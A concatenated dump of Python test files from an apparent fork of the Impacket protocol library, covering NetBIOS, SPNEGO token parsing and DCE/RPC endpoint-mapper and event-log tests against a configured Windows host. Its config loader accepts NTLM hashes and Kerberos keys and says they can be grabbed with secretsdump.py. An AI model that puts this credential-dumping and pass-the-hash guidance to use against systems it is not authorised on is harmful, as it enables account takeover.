import nmb 14 | from impacket.structure import hexdump 15 | 16 | 17 | @pytest.mark.remote 18 | class NMBTests(RemoteTestCase, unittest.TestCase): 19 | 20 | def setUp(self): 21 | super(NMBTests, self).setUp() 22 | self.set_transport_config() 23 | 24 | def create_connection(self): 25 | pass 26 | 27 | def test_encodedecodename(self): 28 | name = 'THISISAVERYLONGLONGNAME' 29 | encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None) 30 | hexdump(encoded) 31 | decoded = nmb.decode_name(encoded) 32 | hexdump(bytearray(decoded[1], 'utf-8')) 33 | 34 | #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) 35 | self.assertEqual(name[:15], decoded[1].strip()) 36 | 37 | # ToDo: Fix the scope functionality 38 | #namescope = 'MYNAME' 39 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 40 | #hexdump(encoded) 41 | #decoded = nmb.decode_name(encoded) 42 | #hexdump(decoded) 43 | 44 | #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) 45 | #self.assertEqual(namescope[:15], decoded[1].strip()) 46 | 47 | def test_getnetbiosname(self): 48 | n = nmb.NetBIOS() 49 | res = n.getnetbiosname(self.machine) 50 | print(repr(res)) 51 | self.assertEqual(self.serverName, res) 52 | 53 | def test_getnodestatus(self): 54 | n = nmb.NetBIOS() 55 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 56 | for r in resp: 57 | r.dump() 58 | print(resp) 59 | 60 | def test_gethostbyname(self): 61 | n = nmb.NetBIOS() 62 | n.set_nameserver(self.serverName) 63 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 64 | print(resp.entries) 65 | 66 | def test_name_registration_request(self): 67 | n = nmb.NetBIOS() 68 | # ToDo: Look at this 69 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 70 | try: 71 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 72 | resp.dump() 73 | except Exception as e: 74 | print(str(e)) 75 | if str(e).find('NETBIOS') <= 0: 76 | raise e 77 | 78 | def test_name_query_request(self): 79 | n = nmb.NetBIOS() 80 | # ToDo: Look at this 81 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 82 | resp = n.name_query_request(self.serverName, self.machine) 83 | print(resp.entries) 84 | 85 | 86 | if __name__ == "__main__": 87 | unittest.main(verbosity=1) 88 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import unittest 10 | from impacket import smb 11 | 12 | 13 | class Test(unittest.TestCase): 14 | 15 | def setUp(self): 16 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 17 | 18 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 19 | 20 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 21 | 22 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 23 | 24 | self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 25 | 26 | self.negTokenResp4 = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 27 | 28 | def test_negTokenInit(self): 29 | token = smb.SPNEGO_NegTokenInit() 30 | token.fromString(self.negTokenInit) 31 | self.assertEqual(self.negTokenInit, token.getData()) 32 | 33 | def test_negTokenInit2(self): 34 | token = smb.SPNEGO_NegTokenInit() 35 | token.fromString(self.negTokenInit2) 36 | self.assertEqual(self.negTokenInit2, token.getData()) 37 | 38 | def test_negTokenResp1(self): 39 | token = smb.SPNEGO_NegTokenResp() 40 | token.fromString(self.negTokenResp1) 41 | self.assertEqual(self.negTokenResp1, token.getData()) 42 | 43 | def test_negTokenResp2(self): 44 | token = smb.SPNEGO_NegTokenResp() 45 | token.fromString(self.negTokenResp2) 46 | self.assertEqual(self.negTokenResp2, token.getData()) 47 | 48 | def test_negTokenResp3(self): 49 | token = smb.SPNEGO_NegTokenResp() 50 | token.fromString(self.negTokenResp3) 51 | self.assertEqual(self.negTokenResp3, token.getData()) 52 | 53 | def test_negTokenResp4(self): 54 | token = smb.SPNEGO_NegTokenResp() 55 | token['NegState'] = b'\x03' # request-mic 56 | token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 57 | self.assertEqual(self.negTokenResp4, token.getData()) 58 | 59 | 60 | if __name__ == "__main__": 61 | unittest.main(verbosity=1) 62 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Base tests cases module 9 | # 10 | from os import getenv 11 | from os.path import join 12 | from binascii import unhexlify 13 | from six.moves.configparser import ConfigParser 14 | 15 | 16 | # Module-scope variable to hold remote configuration in case it was set by pytest 17 | remote_config_file_path = None 18 | 19 | 20 | remote_config_section = "TCPTransport" 21 | 22 | 23 | remote_config_params = [ 24 | ("servername", "Server NetBIOS Name"), 25 | ("machine", "Target hostname or IP address"), 26 | ("username", "User's username"), 27 | ("password", "User's password"), 28 | ("hashes", "User's NTLM hashes, you can grab them with secretsdump.py or will be calculated from the password"), 29 | ("aesKey256", "User's Kerberos AES 256 Key, you can grab it with secretsdump.py"), 30 | ("aesKey128", "User's Kerberos AES 128 Key, you can grab it with secretsdump.py"), 31 | ("domain", "Domain FQDN"), 32 | ("machineuser", "Domain-joined machine NetBIOS Name"), 33 | ("machineuserhashes", "Domain-joined machine NTLM hashes, you can grab them with secretsdump.py"), 34 | ] 35 | remote_config_params_names = [name for name, _ in remote_config_params] 36 | 37 | 38 | def set_remote_config_file_path(config_file): 39 | """Sets the configuration file path for further considering it""" 40 | global remote_config_file_path 41 | remote_config_file_path = config_file or None 42 | 43 | 44 | def get_remote_config_file_path(): 45 | """Obtains the configuration file path according to the different options available 46 | to specify it. 47 | """ 48 | if remote_config_file_path: 49 | return remote_config_file_path 50 | remote_config_file = getenv("REMOTE_CONFIG") 51 | if not remote_config_file: 52 | remote_config_file = join("tests", "dcetests.cfg") 53 | return remote_config_file 54 | 55 | 56 | def get_remote_config(): 57 | """Retrieves the remote tests configuration. 58 | """ 59 | remote_config_file = ConfigParser() 60 | remote_config_file.read(get_remote_config_file_path()) 61 | return remote_config_file 62 | 63 | 64 | def set_transport_config(obj, machine_account=False, aes_keys=False): 65 | """Set configuration parameters in the unit test. 66 | """ 67 | remote_config = get_remote_config() 68 | obj.username = remote_config.get(remote_config_section, "username") 69 | obj.domain = remote_config.get(remote_config_section, "domain") 70 | obj.serverName = remote_config.get(remote_config_section, "servername") 71 | obj.password = remote_config.get(remote_config_section, "password") 72 | obj.machine = remote_config.get(remote_config_section, "machine") 73 | obj.hashes = remote_config.get(remote_config_section, "hashes") 74 | if len(obj.hashes): 75 | obj.lmhash, obj.nthash = obj.hashes.split(':') 76 | obj.blmhash = unhexlify(obj.lmhash) 77 | obj.bnthash = unhexlify(obj.nthash) 78 | else: 79 | obj.lmhash = obj.blmhash = '' 80 | obj.nthash = obj.bnthash = '' 81 | 82 | if machine_account: 83 | obj.machine_user = remote_config.get(remote_config_section, "machineuser") 84 | obj.machine_user_hashes = remote_config.get(remote_config_section, "machineuserhashes") 85 | if len(obj.machine_user_hashes): 86 | obj.machine_user_lmhash, obj.machine_user_nthash = obj.machine_user_hashes.split(':') 87 | obj.machine_user_blmhash = unhexlify(obj.machine_user_lmhash) 88 | obj.machine_user_bnthash = unhexlify(obj.machine_user_nthash) 89 | else: 90 | obj.machine_user_lmhash = obj.machine_user_blmhash = '' 91 | obj.machine_user_nthash = obj.machine_user_bnthash = '' 92 | 93 | if aes_keys: 94 | obj.aes_key_128 = remote_config.get(remote_config_section, 'aesKey128') 95 | obj.aes_key_256 = remote_config.get(remote_config_section, 'aesKey256') 96 | 97 | 98 | class RemoteTestCase(object): 99 | """Remote Test Case Base Class 100 | 101 | Holds configuration parameters for all remote base classes. Configuration is by 102 | default loaded from `tests/dctests.cfg`, but a different path can be specified with 103 | the REMOTE_CONFIG environment variable. When tests are loaded by pytest, a remote 104 | configuration file can also be specified using the `--remote-config` command line 105 | option or the `remote-config` ini option. 106 | 107 | Configuration parameters can be found in the `tests/dcetests.cfg.template` file. 108 | """ 109 | 110 | def set_transport_config(self, machine_account=False, aes_keys=False): 111 | """Set configuration parameters in the unit test. 112 | """ 113 | set_transport_config(self, machine_account=machine_account, aes_keys=aes_keys) 114 | -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Tests configuration 9 | # 10 | import pytest 11 | from . import set_remote_config_file_path, set_transport_config 12 | 13 | 14 | def pytest_configure(config): 15 | """Hook that sets remote configuration file path as specified in pytest command line 16 | or ini option, and apply the configuration options to the pytest `config` object. 17 | """ 18 | config_file = config.getoption("--remote-config") 19 | if not config_file: 20 | config_file = config.getini("remote-config") 21 | if config_file: 22 | set_remote_config_file_path(config_file) 23 | set_transport_config(config) 24 | 25 | 26 | def pytest_addoption(parser): 27 | """Hook that adds pytest options for configuring the remote configuration 28 | file. 29 | """ 30 | parser.addoption("--remote-config", dest="remote_config", metavar="FILE", 31 | help="Configuration file for remote tests") 32 | parser.addini("remote-config", help="Configuration file for remote tests", type="pathlist") 33 | 34 | 35 | @pytest.fixture(scope="class", name="remote") 36 | def remote_config(request): 37 | """Remote Test Case configuration fixture 38 | 39 | Sets the configuration attributes in the test class for easier access. 40 | """ 41 | set_transport_config(request.cls) 42 | -------------------------------------------------------------------------------- /tests/data/ccache-v1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v1 -------------------------------------------------------------------------------- /tests/data/ccache-v2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v2 -------------------------------------------------------------------------------- /tests/data/ccache-v3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v3 -------------------------------------------------------------------------------- /tests/data/ccache-v3-kirbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v3-kirbi -------------------------------------------------------------------------------- /tests/data/ccache-v4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v4 -------------------------------------------------------------------------------- /tests/data/ccache-v4-kirbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/tests/data/ccache-v4-kirbi -------------------------------------------------------------------------------- /tests/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Base class for testing DCE/RPC Endpoints. 12 | # 13 | # Author: 14 | # @martingalloar 15 | # 16 | from tests import RemoteTestCase 17 | 18 | from impacket.dcerpc.v5 import transport, epm 19 | 20 | 21 | class DCERPCTests(RemoteTestCase): 22 | 23 | STRING_BINDING_FORMATTING = 1 24 | STRING_BINDING_MAPPER = 2 25 | 26 | TRANSFER_SYNTAX_NDR = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0") 27 | TRANSFER_SYNTAX_NDR64 = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") 28 | 29 | timeout = None 30 | authn = False 31 | authn_level = None 32 | iface_uuid = None 33 | protocol = None 34 | string_binding = None 35 | string_binding_formatting = STRING_BINDING_FORMATTING 36 | transfer_syntax = None 37 | machine_account = False 38 | 39 | def connect(self, string_binding=None, iface_uuid=None): 40 | """Obtains a RPC Transport and a DCE interface according to the bindings and 41 | transfer syntax specified. 42 | 43 | :return: tuple of DCE/RPC and RPC Transport objects 44 | :rtype: (DCERPC_v5, DCERPCTransport) 45 | """ 46 | string_binding = string_binding or self.string_binding 47 | if not string_binding: 48 | raise NotImplemented("String binding must be defined") 49 | 50 | rpc_transport = transport.DCERPCTransportFactory(string_binding) 51 | 52 | # Set timeout if defined 53 | if self.timeout: 54 | rpc_transport.set_connect_timeout(self.timeout) 55 | 56 | # Authenticate if specified 57 | if self.authn and hasattr(rpc_transport, 'set_credentials'): 58 | # This method exists only for selected protocol sequences. 59 | rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) 60 | 61 | # Gets the DCE RPC object 62 | dce = rpc_transport.get_dce_rpc() 63 | 64 | # Set the authentication level 65 | if self.authn_level: 66 | dce.set_auth_level(self.authn_level) 67 | 68 | # Connect 69 | dce.connect() 70 | 71 | # Bind if specified 72 | iface_uuid = iface_uuid or self.iface_uuid 73 | if iface_uuid and self.transfer_syntax: 74 | dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax) 75 | elif iface_uuid: 76 | dce.bind(iface_uuid) 77 | 78 | return dce, rpc_transport 79 | 80 | def setUp(self): 81 | super(DCERPCTests, self).setUp() 82 | self.set_transport_config(machine_account=self.machine_account) 83 | 84 | if self.string_binding_formatting == self.STRING_BINDING_FORMATTING: 85 | self.string_binding = self.string_binding.format(self) 86 | elif self.string_binding_formatting == self.STRING_BINDING_MAPPER: 87 | self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol) 88 | -------------------------------------------------------------------------------- /tests/dcerpc/test_epm.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # (h)ept_lookup 11 | # (h)ept_map 12 | # 13 | from __future__ import division 14 | from __future__ import print_function 15 | import socket 16 | import pytest 17 | import unittest 18 | from tests.dcerpc import DCERPCTests 19 | 20 | from impacket.dcerpc.v5 import epm 21 | from impacket.dcerpc.v5.ndr import NULL 22 | from impacket.uuid import string_to_bin, uuidtup_to_bin 23 | 24 | 25 | class EPMTests(DCERPCTests): 26 | iface_uuid = epm.MSRPC_UUID_PORTMAP 27 | string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" 28 | authn = True 29 | 30 | def test_lookup(self): 31 | dce, rpctransport = self.connect() 32 | request = epm.ept_lookup() 33 | request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS 34 | request['object'] = NULL 35 | request['Ifid'] = NULL 36 | request['vers_option'] = epm.RPC_C_VERS_ALL 37 | request['max_ents'] = 499 38 | 39 | resp = dce.request(request) 40 | for entry in resp['entries']: 41 | tower = entry['tower']['tower_octet_string'] 42 | epm.EPMTower(b''.join(tower)) 43 | 44 | def test_hlookup(self): 45 | epm.hept_lookup(self.machine) 46 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) 47 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SAMR) 48 | MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) 49 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_ATSVC) 50 | MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) 51 | epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SCMR) 52 | 53 | def test_map(self): 54 | dce, rpctransport = self.connect() 55 | tower = epm.EPMTower() 56 | interface = epm.EPMRPCInterface() 57 | interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC') 58 | interface['MajorVersion'] = 1 59 | interface['MinorVersion'] = 0 60 | 61 | dataRep = epm.EPMRPCDataRepresentation() 62 | dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860') 63 | dataRep['MajorVersion'] = 2 64 | dataRep['MinorVersion'] = 0 65 | 66 | protId = epm.EPMProtocolIdentifier() 67 | protId['ProtIdentifier'] = 0xb 68 | 69 | pipeName = epm.EPMPipeName() 70 | pipeName['PipeName'] = b'\x00' 71 | 72 | portAddr = epm.EPMPortAddr() 73 | portAddr['IpPort'] = 0 74 | 75 | hostAddr = epm.EPMHostAddr() 76 | hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0') 77 | 78 | hostName = epm.EPMHostName() 79 | hostName['HostName'] = b'\x00' 80 | 81 | tower['NumberOfFloors'] = 5 82 | tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData() 83 | request = epm.ept_map() 84 | request['max_towers'] = 4 85 | request['map_tower']['tower_length'] = len(tower) 86 | request['map_tower']['tower_octet_string'] = tower.getData() 87 | resp = dce.request(request) 88 | resp.dump() 89 | 90 | def test_hept_map(self): 91 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) 92 | epm.hept_map(self.machine, MSRPC_UUID_SAMR) 93 | epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp') 94 | MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) 95 | epm.hept_map(self.machine, MSRPC_UUID_ATSVC) 96 | MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) 97 | epm.hept_map(self.machine, MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp') 98 | 99 | 100 | @pytest.mark.remote 101 | class EPMTestsSMBTransport(EPMTests, unittest.TestCase): 102 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 103 | 104 | 105 | @pytest.mark.remote 106 | class EPMTestsSMBTransport64(EPMTests, unittest.TestCase): 107 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 108 | 109 | 110 | @pytest.mark.remote 111 | class EPMTestsTCPTransport(EPMTests, unittest.TestCase): 112 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 113 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 114 | 115 | 116 | @pytest.mark.remote 117 | class EPMTestsTCPTransport64(EPMTests, unittest.TestCase): 118 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 119 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 120 | 121 | 122 | # Process command-line arguments. 123 | if __name__ == "__main__": 124 | unittest.main(verbosity=1) 125 | -------------------------------------------------------------------------------- /tests/dcerpc/test_even6.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # (h)EvtRpcRegisterLogQuery 11 | # (h)EvtRpcQueryNext 12 | # Not yet 13 | # EvtRpcQuerySeek 14 | # EvtRpcClose 15 | # EvtRpcOpenLogHandle 16 | # EvtRpcGetChannelList 17 | # 18 | from __future__ import division 19 | from __future__ import print_function 20 | import pytest 21 | import unittest 22 | from six.moves import xrange 23 | 24 | from tests.dcerpc import DCERPCTests 25 | 26 | from impacket.dcerpc.v5 import even6 27 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 28 | 29 | 30 | class EVEN6Tests(DCERPCTests): 31 | iface_uuid = even6.MSRPC_UUID_EVEN6 32 | protocol = "ncacn_ip_tcp" 33 | string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER 34 | string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]" 35 | authn = True 36 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 37 | 38 | def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self): 39 | dce, rpctransport = self.connect() 40 | 41 | request = even6.EvtRpcRegisterLogQuery() 42 | request['Path'] = 'Security\x00' 43 | request['Query'] = '*\x00' 44 | request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest 45 | request.dump() 46 | 47 | resp = dce.request(request) 48 | resp.dump() 49 | log_handle = resp['Handle'] 50 | 51 | request = even6.EvtRpcQueryNext() 52 | request['LogQuery'] = log_handle 53 | request['NumRequestedRecords'] = 5 54 | request['TimeOutEnd'] = 1000 55 | request['Flags'] = 0 56 | request.dump() 57 | 58 | resp = dce.request(request) 59 | resp.dump() 60 | 61 | for i in xrange(resp['NumActualRecords']): 62 | event_offset = resp['EventDataIndices'][i]['Data'] 63 | event_size = resp['EventDataSizes'][i]['Data'] 64 | event = resp['ResultBuffer'][event_offset:event_offset + event_size] 65 | 66 | def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self): 67 | dce, rpctransport = self.connect() 68 | 69 | resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\x00', 70 | even6.EvtQueryChannelName | even6.EvtReadNewestToOldest, 71 | '*\x00') 72 | resp.dump() 73 | log_handle = resp['Handle'] 74 | 75 | resp = even6.hEvtRpcQueryNext(dce, log_handle, 5, 1000) 76 | resp.dump() 77 | 78 | for i in xrange(resp['NumActualRecords']): 79 | event_offset = resp['EventDataIndices'][i]['Data'] 80 | event_size = resp['EventDataSizes'][i]['Data'] 81 | event = resp['ResultBuffer'][event_offset:event_offset + event_size] 82 | 83 | 84 | @pytest.mark.remote 85 | class EVEN6TestsTCPTransport(EVEN6Tests, unittest.TestCase): 86 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 87 | 88 | 89 | @pytest.mark.remote 90 | class EVEN6TestsTCPTransport64(EVEN6Tests, unittest.TestCase): 91 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 92 | 93 | 94 | # Process command-line arguments. 95 | if __name__ == "__main__": 96 | unittest.main(verbosity=1) 97 | -------------------------------------------------------------------------------- /tests/dcerpc/test_fasp.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # FWOpenPolicyStore 11 | # 12 | # Not yet: 13 | # 14 | import unittest 15 | import pytest 16 | from tests.dcerpc import DCERPCTests 17 | 18 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 19 | 20 | 21 | # XXX: This is just to pass tests until we figure out what happened with the 22 | # fasp module 23 | fasp = None 24 | 25 | 26 | @pytest.mark.skip(reason="fasp module unavailable") 27 | class FASPTests(DCERPCTests): 28 | #iface_uuid = fasp.MSRPC_UUID_FASP 29 | authn = True 30 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 31 | 32 | def test_FWOpenPolicyStore(self): 33 | dce, rpc_transport = self.connect() 34 | request = fasp.FWOpenPolicyStore() 35 | request['BinaryVersion'] = 0x0200 36 | request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL 37 | request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ 38 | request['dwFlags'] = 0 39 | resp = dce.request(request) 40 | resp.dump() 41 | 42 | def test_hFWOpenPolicyStore(self): 43 | dce, rpc_transport = self.connect() 44 | resp = fasp.hFWOpenPolicyStore(dce) 45 | resp.dump() 46 | 47 | def test_FWClosePolicyStore(self): 48 | dce, rpc_transport = self.connect() 49 | resp = fasp.hFWOpenPolicyStore(dce) 50 | request = fasp.FWClosePolicyStore() 51 | request['phPolicyStore'] = resp['phPolicyStore'] 52 | resp = dce.request(request) 53 | resp.dump() 54 | 55 | def test_hFWClosePolicyStore(self): 56 | dce, rpc_transport = self.connect() 57 | resp = fasp.hFWOpenPolicyStore(dce) 58 | resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) 59 | resp.dump() 60 | 61 | 62 | @pytest.mark.remote 63 | class FASPTestsTCPTransport(FASPTests, unittest.TestCase): 64 | protocol = "ncacn_ip_tcp" 65 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 66 | 67 | 68 | @pytest.mark.remote 69 | class FASPTestsTCPTransport64(FASPTests, unittest.TestCase): 70 | protocol = "ncacn_ip_tcp" 71 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 72 | 73 | 74 | # Process command-line arguments. 75 | if __name__ == "__main__": 76 | unittest.main(verbosity=1) 77 | -------------------------------------------------------------------------------- /tests/dcerpc/test_mgmt.py: 